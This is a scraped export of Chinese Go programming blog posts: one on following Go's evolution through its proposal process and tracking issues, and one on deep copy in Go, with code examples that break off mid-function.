title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"为什么canonical-import-path注释在go中不再必要\"\u003e为什么Canonical Import Path注释在Go中不再必要\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e十月 2, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/10/02/why-canonical-import-paths-no-longer-necessary-in-go/#respond\" title=\"《为什么Canonical Import Path注释在Go中不再必要》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 27\" loading=\"lazy\" src=\"/images/wp-content/uploads/why-canonical-import-paths-no-longer-necessary-in-go-1.png\"\u003e\u003c/p\u003e","title":"为什么Canonical Import Path注释在Go中不再必要"},{"content":"跟上Go演进步伐，你只需要关注这几件事儿 | Tony Bai Tony Bai一个程序员的心路历程\nGoogle Go语言编码风格规范 Google Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ 关于我 文章列表 跟上Go演进步伐，你只需要关注这几件事儿 九月 30, 2024 0 条评论 本文永久链接 – https://tonybai.com/2024/09/30/how-to-keep-up-with-go-evolution\nGo语言以其简洁、高效和强大的特性赢得了众多开发者的青睐。与许多主流编程语言有着明确的演进Roadmap或下一个版本spec不同，Go的演进过程更加独特、灵活与开放。这种看起来不那么正式和严肃的演进方式却也能让Go快速响应开发者的需求，同时保持语言的稳定性和一致性。\n作为一名Go开发者，跟上Go的演进步伐，甚至是参与到这个激动人心的过程中来，不仅能让你更好地利用语言的新特性，还能帮助你更深入地理解Go的设计哲学。\n但很多Go开发者只知道每年Go有两次的大版本Release，并通过大版本的Release Notes来了解Go的演进。这无可厚非，但对于那些想及时跟进Go演进的Gopher来说，光有一年两次的Release Notes还是不够的的，很难及时跟进Go的演进决策。\n但如果直接到Go语言项目的issue中去翻阅，面对Go丰富的社区讨论和频繁的更新，你可能会感到无从下手。别担心，本文将为你指明方向，让你只需关注几个关键点，就能轻松跟上Go的演进步伐。\n1. 开发计划早知道 Go的版本规划具有很高的灵活性。每个Go 1.x版本在开发前，Go语言项目相关人员都会在golang-dev讨论组上发布一个帖子，这个帖子通常的标题为”Planning Go 1.x”，例如”Planning Go 1.23″，如下图：\n很多contributor，无论是Go团队的，还是外部贡献者的，会在该帖子下面留下自己的plan(注意：这些plan中的特性可不一定会在最终的版本中发布)，然后等main tree开放后，就会将已经准备完毕的cl(changelist) merge到main tree中去，或开始提交cl，等待Go团队或社区的开发者进行评审。\n当然对于Go 1.x这样的大版本，Go团队会在github建立专门的milestone跟踪，大家也可以在对应的milestone中看到该版本带来的新特性等，下图是目前正在积极开发的Go 1.24版本里程碑：\n通过查看这些Plan或定期查看Go 1.x里程碑，你可以提前了解Go的发展方向，为新版本的到来做好准备。\n当然如果要了解那些更早的Go演进的决策，我们还得关注和跟踪下面的Proposal Project看板和三个关键的issue。\n2. Proposal Project看板和三个关键的Issue Go在早期并没有规范的proposal提案流程，更多是由Rob Pike、Robert Griesemer等三个Go语言之父，外加Ian Taylor和Russ Cox讨论确定，这一状态在Russ Cox建立明确的Go proposal提案流程后结束，提案流程是Go团队审查提案并决定接受或拒绝提案的过程。Russ Cox在提案流程中明确了Go项目的开发过程是设计驱动(design-driven)的，必须首先对语言、库或工具的重大更改进行讨论（包括Go语言项目主仓库和所有golang.org/x仓库中的API更改，以及对go command的命令行更改），并在实现这些设计之前进行正式记录。\nGo团队目前使用Proposal Project看板和GitHub Issues来追踪语言的演进，下面我们来看看这个看板和值得关注的三个Issue。\n2.1 Proposal Project看板 Proposal Project看板是Go团队跟踪proposal的全局视图，当然要理解该看板，我们需要先来简单看看Go的proposal流程以及每个提案的生命周期是怎样的。\nGo Proposal流程并不复杂，可以概括为下面这个示意图：\n该流程图展示了Go提案流程的几个主要步骤：\n任何人都可以作为提案作者，在Go项目上创建一个简短的issue来描述提案。 Go团队成员以及任何Go社区成员在issue上进行初步讨论，由一组人组成的Go提案审核委员会决定是接受提案、拒绝提案，还是需要进一步的设计文档。 如果需要进一步的设计文档，提案作者会撰写一个详细的设计文档。 在设计文档的评论减少/收敛后(意见趋于一致后)，由Go提案审核委员会会进行最终讨论，决定接受或拒绝提案。 Go提案审查委员会使用GitHub项目看板来跟踪提案的状态并管理提案的生命周期(如下图所示)：\n该看板针对每个提案issue设置了几个生命周期状态：\nIncoming：新提交的提案 Active：正在积极讨论的提案 Likely Accept / Likely Decline：可能被接受或拒绝的提案 Accepted / Declined：已被接受或拒绝的提案 Hold：需要设计修订或需要几周或更长时间才能获得附加信息的提案，这类提案一旦准备就绪，还会回到Active状态 了解了上述Go提案与审核流程，再看下面的几个关键Issue就容易多了。\n2.2 proposal: review meeting minutes(33502) 该issue于2019年8月创建，其创建者为前Go团队技术负责人Russ Cox。这是目前Go语言项目最核心的追踪Issue，它记录了Go提案审查会议的纪要，通常每周更新一次(如下图所示)：\n我们看到内容包括：\n发布当周已经决策为Accepted和Declined的proposal列表 后续Likely Accept和Likely Decline的proposal列表 正处于Active讨论的proposal列表 当前处于Hold状态的proposal列表 和Go提案看板不同，该issue是对提案Issue的状态变更的记录，Gopher可以第一时间看到每周Go提案的状态更新。\n由于Russ Cox已经辞去了Go团队技术负责人的头衔，从2024年9月下旬开始，Go团队新的技术负责人Austin Clements将继续主持提案审核会议，并更新该Issue。\n除了Review meeting minutes这个重要的issue外，还有两个issue值得我们关注，通过它们，我们可以及时了解到Go编译器和运行时的演进以及Go语法特性的演进。\n2.3 Go compiler and runtime meeting notes(43930) Go编译器和运行时团队定期（大约每周）召开会议，讨论Go编译器和运行时的后续开发和演进事宜，该会议是Google Go团队的内部会议，但Go团队觉得Go社区有必要了解这个会议上的一些讨论议题、过程与会议结论，从而知道Go编译器和运行时团队正在以及将要做什么。\n于是前Go团队成员Jeremy Faller于2021年1月创建了该Issue，向Go社区发布Go编译器和运行时的最新演进动向。\n之前Go编译器和运行时团队的负责人是Austin Clements，如今是CherryMui。\n2.4 spec: language change review meeting minutes(33892) 编译器和运行时之外，Gopher最关心的就是Go语法的演进以及Go语言规范的变更，这个事儿是由Go语言之父之一的Robert Griesemer亲自抓的。在2019年8月，Robert Griesemer就建立了跟踪Go语法变化的issue，当然最初是要跟踪Go2的演进，后来Go泛型落地后，Go2彻底融入了Go1，该issue也就变成了跟踪Go语法演进的Issue。Robert Griesemer主持的Go语言变更审查会议每月举行一次，并将会议讨论的记录发布到该Issue上。\n3. Discussion与Russ Cox博客 关于Go语言演进的动向，还有两个渠道可以关注，一个是Go团队在github repo上发起的discussion，Russ Cox在2021年7月启用了discussion，旨在寻找一个地方来扩大许多人可能想要参与的讨论。当前，该discussion仅针对非常有限的事项添加讨论，并且只有少数Go核心团队的人才有发起discussion的权限。一些在前几个版本的重要语言特性变化以及标准库的变化，都在这里进行了充分的讨论，比如loopvar语义修正、自定义iterator、开启标准库major版本更新的math/rand/v2以及gonew工具等。\n另外一个则是Russ Cox的博客，作为Go项目团队前技术负责人，作为Rob Pike的接班人，Russ Cox很好地完成了承上启下的作用，并为Go的演进和发展确立了演进框架、方法以及方向。Russ Cox经常在自己的博客上先“憋大招，做铺垫”！最典型的就是vgo，也就是go module的前身，在短短几周内Russ Cox在博客上发表了7篇关于vgo的设计思路文章，为后来Go module的落地奠定了基础，至此基本上不再有Gopher抱怨Go依赖管理了。Russ Cox现已辞去Go技术负责人的头衔，后续是否还能在他的博客上看到Go相关的新特性的设计，让我们拭目以待！\n4. 小结 在快速发展的技术环境中，Go语言以其独特的演进方式和灵活的开发计划，吸引了越来越多的开发者。本文介绍了如何及时有效地跟踪Go的演进的方法，包括关注大版本开发计划、Proposal Project看板和关键的issue，帮助Gopher及时了解语言的新特性与设计决策。通过参与讨论和关注Go团队的动态，开发者不仅能掌握最新的语言更新，还能深入理解Go的设计哲学和发展方向。希望每位Gopher都能抓住这些资源，与Go语言共同成长，提升自己的开发技能。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/30/how-to-keep-up-with-go-evolution/","summary":"\u003ch1 id=\"跟上go演进步伐你只需要关注这几件事儿--tony-bai\"\u003e跟上Go演进步伐，你只需要关注这几件事儿 | Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/about/\" title=\"关于我\"\u003e关于我\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/articles/\" title=\"文章列表\"\u003e文章列表\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"跟上go演进步伐你只需要关注这几件事儿\"\u003e跟上Go演进步伐，你只需要关注这几件事儿\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e九月 30, 2024\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/2024/09/30/how-to-keep-up-with-go-evolution/#respond\" title=\"《跟上Go演进步伐，你只需要关注这几件事儿》上的评论\"\u003e0 条评论\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"Image 45\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-to-keep-up-with-go-evolution-1.png\"\u003e\u003c/p\u003e","title":"跟上Go演进步伐，你只需要关注这几件事儿"},{"content":"\n本文永久链接 – https://tonybai.com/2024/09/28/understand-deep-copy-in-go\n前不久，在“Gopher部落”知识星球上回答了一个Gopher关于深拷贝(Deep Copy)的问题，让我感觉是时候探讨一下深拷贝技术了。\n在日常开发工作中，深拷贝的使用频率相对较低，可能有80%的时间不需要使用深拷贝，只有在特定情况下才会遇到。这主要是因为大多数开发中处理的对象比较简单，通常只需使用浅拷贝(Shallow Copy)就能满足需求；此外，多数时候我们需要共享状态或数据，使用浅拷贝可以方便多个部分访问同一数据；最后，深拷贝通常比浅拷贝耗时更多，尤其是当对象嵌套较深时。因此，开发者倾向于选择更高效的浅拷贝。\n说了这么多，那究竟什么是深拷贝以及浅拷贝呢？深拷贝又是在哪些场合下适用呢？在Go中如何实现深拷贝呢？带着这些问题，我们在本文中就来探讨一下Go语言中的深拷贝技术，希望能让大家对深拷贝技术的概念、实现以及局限有一个全面的了解。\n1. 从细胞分裂看深拷贝 我们在初中生物课上都学过细胞分裂(Cell Division)，有条件的学校的学生可以用显微镜观看到细胞分裂的全过程，大致就如下图所示：\n细胞分裂过程(图片来自网络)\n我们知道细胞分裂复制了整个细胞的所有成分，包括细胞核、细胞质等，生成了一个完全独立的新细胞。无论原始细胞如何变化，分裂出的新细胞不会受到影响。而深拷贝就像是真正的细胞分裂，完全复制了原对象及其内部所有嵌套对象的数据，使新对象和原对象相互完全独立，各自演进，互不影响。\n下面，我将使用Go语言给出一个结构体类型的示例，并用示意图直观展示深拷贝和浅拷贝的区别：\n// Address 结构体 type Address struct { City string State string } // Person 结构体 type Person struct { Name string Age int Address *Address } 这里定义了Address和Person两个结构体，其中Person包含一个指向Address的指针(这可以理解为Person结构体的嵌套对象)。我们先来创建一个原始对象：\n// 创建原始 Person 实例 original := Person{ Name: \u0026#34;Alice\u0026#34;, Age: 30, Address: \u0026amp;Address{ City: \u0026#34;New York\u0026#34;, State: \u0026#34;NY\u0026#34;, }, } 基于这个原始对象，我们可以使用下面代码创建一个浅拷贝的对象：\nshallowCopy := original 下面是浅拷贝完毕的对象关系示意图：\n我们看到浅拷贝后，两个Person对象虽然有部分字段已经完全独立分开（Name和Age），但仍然存在关联，那就是Address字段指向了同一个Address对象。这样无论是原始对象修改了Address，还是浅拷贝后的对象修改了Address，都会对另一个对象产生影响。\n我们再来看看深拷贝，这里为Person结构体增加了深拷贝的方法，然后通过该方法得到一个深拷贝后的对象：\n// DeepCopy方法 func (p Person) DeepCopy() Person { newPerson := p if p.Address != nil { newAddress := *p.Address newPerson.Address = \u0026amp;newAddress } return newPerson } deepCopy := original.DeepCopy() 我们看到：DeepCopy方法实现了对Person的深拷贝，它不仅复制了Person结构体，还创建了一个新的Address结构体并复制了其内容。这样原始对象与深拷贝出的对象就完全分开了，下面是深拷贝后的对象关系示意图：\n通过上面的示意图，我们可以将深拷贝与浅拷贝的对比整理如下：\n浅拷贝（Shallow Copy） 创建一个新对象，并复制原对象的字段值，但对于引用类型(如指针、切片、map等)，仅复制引用，不复制引用的对象。通常通过简单的赋值操作就能实现浅拷贝。\n深拷贝（Deep Copy） 创建一个新对象，递归地复制原对象的所有字段值，对于引用类型，创建新的对象并复制其内容，而不是简单地复制引用。通常，深拷贝需要额外编写代码实现，简单的赋值操作对于复杂类型而言，无法实现深拷贝。\n很显然就像在本文开始时所说的那样，我们日常使用最多的就是浅拷贝，浅拷贝的实现也是非常简单的，通过赋值语句就可以。那么我们为什么还需要深拷贝呢？或者说，在什么场景下需要使用到深拷贝呢？下面我就就来看看。\n2. 为什么需要深拷贝？ 根据上面提到的深拷贝的特点：独立与隔离，当数据的独立性和隔离性非常重要时，它能避免共享数据引发的副作用。据此，以下是需要使用深拷贝的常见场景，我们逐一简要说明一下。\n2.1 防止意外修改共享数据 在Go语言中，切片、map和指针都是引用类型。如果多个对象引用同一个底层数据结构，修改其中一个对象的数据会影响所有引用该数据的对象。因此，在这些场合下，如果希望避免修改一个对象时影响其他对象，使用深拷贝是必需的。\n下面这个Go例子中，shallowCopy和original共享同一个Data map，修改shallowCopy的数据会直接影响original。通过深拷贝Data map，deepCopy保持了数据的独立性：\npackage main import \u0026#34;fmt\u0026#34; type Config struct { Port int Data map[string]string } func main() { original := \u0026amp;Config{ Port: 8080, Data: map[string]string{\u0026#34;key1\u0026#34;: \u0026#34;value1\u0026#34;}, } shallowCopy := original // 只是浅拷贝，共享Data引用 // 深拷贝 Data deepCopy := \u0026amp;Config{ Port: original.Port, Data: make(map[string]string), } for k, v := range original.Data { deepCopy.Data[k] = v } shallowCopy.Data[\u0026#34;key1\u0026#34;] = \u0026#34;modified\u0026#34; // 修改会影响original fmt.Println(original.Data[\u0026#34;key1\u0026#34;]) // 输出 \u0026#34;modified\u0026#34; deepCopy.Data[\u0026#34;key1\u0026#34;] = \u0026#34;deepModified\u0026#34; // 修改不会影响original fmt.Println(original.Data[\u0026#34;key1\u0026#34;]) // 输出 \u0026#34;modified\u0026#34; } 2.2 并发编程中的数据隔离 Go语言利用goroutine进行并发编程。当多个goroutine操作相同的数据时，可能会导致竞争条件和数据一致性问题。如果每个goroutine都需要独立的数据副本，那么深拷贝是确保数据隔离的最佳方法。\n下面这个示例就是在并发场景下，使用append深拷贝切片，确保每个goroutine操作的是独立的data副本，避免数据竞争：\npackage main import \u0026#34;fmt\u0026#34; func worker(data []int, ch chan []int) { // 深拷贝切片，避免影响其他 goroutine newData := append([]int(nil), data...) for i := range newData { newData[i] *= 2 // 修改数据 } ch \u0026lt;- newData } func main() { data := []int{1, 2, 3} ch := make(chan []int) go worker(data, ch) // 启动goroutine go worker(data, ch) // 启动另一个goroutine result1 := \u0026lt;-ch result2 := \u0026lt;-ch fmt.Println(result1) // goroutine 1的独立数据副本 [2 4 6] fmt.Println(result2) // goroutine 2的独立数据副本 [2 4 6] } 2.3 不可变对象需求 Go目前不直接支持不可变对象，但在某些场合（如函数式编程或安全性要求较高的应用），不可变性是很有用的。如果你希望传递给某个函数的数据不能被修改，那么需要在传递前对数据进行深拷贝。\n下面示例通过深拷贝，保证original的数据在传递过程中不会被修改，保证了不可变性：\npackage main import \u0026#34;fmt\u0026#34; type ImmutableData struct { Values []int } // 修改函数 func modifyData(data ImmutableData) { data.Values[0] = 100 // 尝试修改 } func main() { original := ImmutableData{ Values: []int{1, 2, 3}, } // 传递之前进行深拷贝 copyData := ImmutableData{ Values: append([]int(nil), original.Values...), } modifyData(copyData) fmt.Println(original.Values) // 输出 [1 2 3]，original数据保持不变 } 2.4 回滚机制或撤销操作 在涉及事务处理或编辑器等场景中，Go开发者常需要在操作前保存对象的快照，以便在出现错误或用户撤销操作时恢复到原状态。这时候，深拷贝用于保存独立的状态副本。下面示例使用了更复杂的数据结构来展示深拷贝的作用，并体现了在实际应用中如何通过深拷贝实现状态的回滚机制：\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) // State 结构体包含嵌套结构体和引用类型 type State struct { Value string Data []int Metadata *Metadata } // Metadata 是嵌套的引用类型结构体 type Metadata struct { Version int Author string } // 深拷贝函数，通过JSON序列化与反序列化实现 func deepCopy(original *State) *State { copy := \u0026amp;State{} bytes, _ := json.Marshal(original) _ = json.Unmarshal(bytes, copy) return copy } func main() { // 初始化原始状态 state := \u0026amp;State{ Value: \u0026#34;initial\u0026#34;, Data: []int{1, 2, 3}, Metadata: \u0026amp;Metadata{ Version: 1, Author: \u0026#34;Alice\u0026#34;, }, } // 保存当前状态的深拷贝 backup := deepCopy(state) // 修改状态 state.Value = \u0026#34;modified\u0026#34; state.Data[0] = 100 state.Metadata.Version = 2 // 输出修改后的状态 fmt.Println(\u0026#34;Current state:\u0026#34;, state.Value) // 输出 \u0026#34;modified\u0026#34; fmt.Println(\u0026#34;Current Data:\u0026#34;, state.Data) // 输出 \u0026#34;[100 2 3]\u0026#34; fmt.Println(\u0026#34;Current Metadata.Version:\u0026#34;, state.Metadata.Version) // 输出 \u0026#34;2\u0026#34; // 恢复之前的状态 state = backup // 输出恢复后的状态 fmt.Println(\u0026#34;Restored state:\u0026#34;, state.Value) // 输出 \u0026#34;initial\u0026#34; fmt.Println(\u0026#34;Restored Data:\u0026#34;, state.Data) // 输出 \u0026#34;[1 2 3]\u0026#34; fmt.Println(\u0026#34;Restored Metadata.Version:\u0026#34;, state.Metadata.Version) // 输出 \u0026#34;1\u0026#34; } 在这个场景中，backup是对state的深拷贝，确保可以在需要时恢复到原始状态。\n在以上这些场景中，深拷贝虽然开销较大，但它确保了数据的独立性、隔离性以及安全性。当然，深拷贝适用的场景可能不止这些，这里也无法穷举所有场景。\n知道了深拷贝的一些应用场景后，我们再来梳理一下如何在Go中实现深拷贝，其实在上面的示例中已经见过不少深拷贝的实现方法了。\n3. Go语言中实现深拷贝的方法 在Go语言中，实现深拷贝有几种常见的方法，每种方法都有其优缺点和适用场景。让我们逐一探讨这些方法。\n3.1 手动实现深拷贝 赋值操作通常无法实现复杂结构的深拷贝，因此最常见的深拷贝实现方法就是像上面示例中那样根据具体的类型手动实现深拷贝。手动实现深拷贝是最直接但也可能是最繁琐的方法，通常我们要为每种要深拷贝的类型单独编写深拷贝函数DeepCopy(Go没有像Java那样有object基类，因此也没有内置的clone方法去override)。\n关于手动实现深拷贝DeepCopy方法的示例在前面我们已经见识过了，比如最开始的那个Person类型DeepCopy方法。\n手动实现深拷贝的优点显而易见，那就是开发者可以完全控制拷贝的过程，并且性能通常较好，可以避免使用反射等有额外开销的机制来实现。\n当然不足也很明显，那就是我们需要为每个要支持深拷贝的类型都维护一个单独的实现，并且对于带有复杂嵌套结构的类型，这个实现还会很冗长和复杂。\n当是否可以有“万能”的深拷贝函数呢？我们继续往下看。\n3.2 使用反射实现通用深拷贝 借助Go的reflect大法，我们可以实现一个通用的深拷贝函数，理论上，可以适用于各种类型。下面是一个示例实现（仅是示例，不要用在生产中）：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;reflect\u0026#34; ) // 深拷贝函数，使用 reflect 递归处理各种类型 func DeepCopy(src interface{}) interface{} { if src == nil { return nil } // 通过 reflect 获取值和类型 value := reflect.ValueOf(src) typ := reflect.TypeOf(src) switch value.Kind() { case reflect.Ptr: // 对于指针，递归处理指针指向的值 copyValue := reflect.New(value.Elem().Type()) copyValue.Elem().Set(reflect.ValueOf(DeepCopy(value.Elem().Interface()))) return copyValue.Interface() case reflect.Struct: // 对于结构体，递归处理每个字段 copyValue := reflect.New(typ).Elem() for i := 0; i \u0026lt; value.NumField(); i++ { fieldValue := DeepCopy(value.Field(i).Interface()) copyValue.Field(i).Set(reflect.ValueOf(fieldValue)) } return copyValue.Interface() case reflect.Slice: // 对于切片，递归处理每个元素 copyValue := reflect.MakeSlice(typ, value.Len(), value.Cap()) for i := 0; i \u0026lt; value.Len(); i++ { copyValue.Index(i).Set(reflect.ValueOf(DeepCopy(value.Index(i).Interface()))) } return copyValue.Interface() case reflect.Map: // 对于映射，递归处理每个键值对 copyValue := reflect.MakeMap(typ) for _, key := range value.MapKeys() { copyValue.SetMapIndex(key, reflect.ValueOf(DeepCopy(value.MapIndex(key).Interface()))) } return copyValue.Interface() default: // 其他类型（基本类型，数组等）直接返回原始值 return src } } type Address struct { Street string City string } type Person struct { Name string Age int Address *Address } func main() { // 初始化原始对象 original := \u0026amp;Person{ Name: \u0026#34;Alice\u0026#34;, Age: 30, Address: \u0026amp;Address{ Street: \u0026#34;123 Go St\u0026#34;, City: \u0026#34;Golang City\u0026#34;, }, } // 使用 reflect 实现的通用深拷贝 copy := DeepCopy(original).(*Person) // 修改拷贝对象的值 copy.Address.City = \u0026#34;New City\u0026#34; copy.Age = 31 // 输出结果 fmt.Println(\u0026#34;Original Addr:\u0026#34;, original.Address) // 输出 \u0026amp;{123 Go St Golang City} fmt.Println(\u0026#34;Copy Addr:\u0026#34;, copy.Address) // 输出 \u0026amp;{123 Go St New City} } 我们看到，在示例中，reflect包可以在运行时检查和操作Go的值。通过reflect.ValueOf(src)获取到值后，根据值的类型（指针、结构体、切片、map等）再递归进行深拷贝。如果遇到指针类型，DeepCopy将递归地拷贝指向的值，新的值通过reflect.New创建；对于结构体类型，它通过NumField()遍历字段，并递归地深拷贝该字段；对切片进行深拷贝时，首先使用reflect.MakeSlice()创建新的切片，再递归处理每个元素； 对于map，它用reflect.MakeMap()创建新的map，并递归处理键值对。\n使用reflect包实现深拷贝的优点十分明显，那就是通用性强，能够处理各种数据结构（如指针、结构体、切片、map等），无需为每个类型单独实现DeepCopy方法。但由于使用了reflect，其带来的额外开销也是不可忽视的，尤其是对于嵌套很深的复杂类型。\n有些情况是reflect无法正确处理的，比如被拷贝的类型中带有非导出字段时(比如给Person结构体增加一个gender字段)，上面的反射版DeepCopy实现就会抛出panic：\npanic: reflect.Value.Interface: cannot return value obtained from unexported field or method 此外，实现一个生产级的DeepCopy并非易事，我们可以找一些“久经考验”的第三方库，比如下面的jinzhu/copier。\n3.3 使用第三方库 有一些第三方库提供了深拷贝功能，例如github.com/jinzhu/copier，这类库通常结合了反射和一些优化技巧。在经过广泛的使用和反馈后，可以在生产中使用，并且可以覆盖大多数需求场景。\n下面是使用copier实现对带有非导出字段的结构体类型的深拷贝：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/jinzhu/copier\u0026#34; ) type Person struct { Name string Age int Address *Address gender string } type Address struct { Street string City string } func main() { addr := Address{ Street: \u0026#34;Go 101 street\u0026#34;, City: \u0026#34;Mars Capital\u0026#34;, } original := Person{ Name: \u0026#34;Alice\u0026#34;, Age: 30, Address: \u0026amp;addr, gender: \u0026#34;female\u0026#34;, } fmt.Println(original) // 输出：{Alice 30 0xc0000b0000 female} var copied Person err := copier.CopyWithOption(\u0026amp;copied, \u0026amp;original, copier.Option{ DeepCopy: true, }) if err != nil { fmt.Println(err) return } fmt.Println(copied) // 输出：{Alice 30 0xc0000b0020 female} } copier是怎么做到的呢？翻看copier源码，可以找到这样一个函数：\nfunc copyUnexportedStructFields(to, from reflect.Value) { if from.Kind() != reflect.Struct || to.Kind() != reflect.Struct || !from.Type().AssignableTo(to.Type()) { return } // create a shallow copy of \u0026#39;to\u0026#39; to get all fields tmp := indirect(reflect.New(to.Type())) tmp.Set(from) // revert exported fields for i := 0; i \u0026lt; to.NumField(); i++ { if tmp.Field(i).CanSet() { tmp.Field(i).Set(to.Field(i)) } } to.Set(tmp) } 我们看到copyUnexportedStructFields函数首先检查源值和目标值是否都是结构体，并且源类型是否可以赋值给目标类型。如果可以赋值，则创建一个目标类型的新实例tmp，并将源值完整地设置到这个新实例中。这一步可以复制所有字段，包括非导出字段。接下来，遍历目标结构体的所有字段。对于可以设置的字段（即导出字段），将原始目标值中的对应字段值设置回tmp。最后，将tmp设置回原始目标值。\n这个过程巧妙地利用了Go语言的反射机制。通过创建一个新的结构体实例并直接设置整个源值，它可以绕过Go语言对非导出字段的访问限制。然后，通过只恢复导出字段的原始值，保持了目标结构体中导出字段的完整性，同时保留了源结构体中非导出字段的值。\n然而，这种方法也有一些潜在的限制，比如对于包含指针或引用类型的非导出字段，这种方法就无法真正实现深拷贝，我们改造一下上面的示例：\ntype Person struct { Name string Age int Address *Address gender *string } type Address struct { Street string City string } func (p *Person) SetGender(gender string) { p.gender = \u0026amp;gender } func (p *Person) Gender() *string { return p.gender } func main() { addr := Address{ Street: \u0026#34;Go 101 street\u0026#34;, City: \u0026#34;Mars Capital\u0026#34;, } original := Person{ Name: \u0026#34;Alice\u0026#34;, Age: 30, Address: \u0026amp;addr, } original.SetGender(\u0026#34;female\u0026#34;) fmt.Println(original) // 输出：{Alice 30 0xc00006a020 0xc000014070} fmt.Println(original.Gender()) // 输出：0xc000014070 var copied Person err := copier.CopyWithOption(\u0026amp;copied, \u0026amp;original, copier.Option{ DeepCopy: true, }) if err != nil { fmt.Println(err) return } fmt.Println(copied) // 输出：{Alice 30 0xc00006a040 0xc000014070} fmt.Println(copied.Gender()) // 输出：0xc000014070 } 这里我们在Person类型中增加了一个字符串指针类型的非导出字段gender，我们看到通过copier进行拷贝的结果并不符合深拷贝的要求，copied和original使用了同一个gender了。因此，像jinzhu/copier这样的第三方库，虽然能处理大多数常见情况，但我们仍要明确它的局限。\n不过即便有了上述三类实现深拷贝的方法，有些时候要在Go中实现完美的深拷贝也是很难的，甚至是不可能的，下面我们来看看Go语言中深拷贝的局限性。\n4. Go语言中深拷贝的局限性 我们先从已经遇到过的非导出字段说起。\n4.1 无法访问的非导出字段 就像上面示例中那样，如果原类型中带有非导出字段，那么有些时候即便使用jinzhu/copier这样的第三方通用拷贝库也很难实现真正的深拷贝。如果原类型在你的控制下，最好的方法是为原类型手动添加一个DeepCopy方法供外部使用。\n不过，即便如此，某些情况下，手工实现一个DeepCopy方法也是很难的，甚至是不可能的，我们看下面两种局限的情况。\n4.2 循环引用问题 当原类型中存在循环引用时，简单的递归深拷贝可能会导致无限循环。例如:\ntype Node struct { Value int Next *Node Prev *Node } func main() { node1 := \u0026amp;Node{Value: 1} node2 := \u0026amp;Node{Value: 2} node1.Next = node2 node2.Prev = node1 // 这里的深拷贝可能会导致无限递归 } 针对这样的带有循环引用的类型，我们通常会手工实现其DeepCopy方法，并通过使用类似哈希表的方式记录已经复制过的对象，下面是一个Node结构体的DeepCopy的示例实现：\npackage main import ( \u0026#34;fmt\u0026#34; ) // Node表示双向链表的节点 type Node struct { Value int Next *Node Prev *Node } // DeepCopy方法：对Node进行深拷贝 func (n *Node) DeepCopy() *Node { // 初始化visited map用于记录已访问的节点，防止无限递归 visited := make(map[*Node]*Node) return n.deepCopyRecursive(visited) } // deepCopyRecursive私有递归方法，内部处理深拷贝逻辑 func (n *Node) deepCopyRecursive(visited 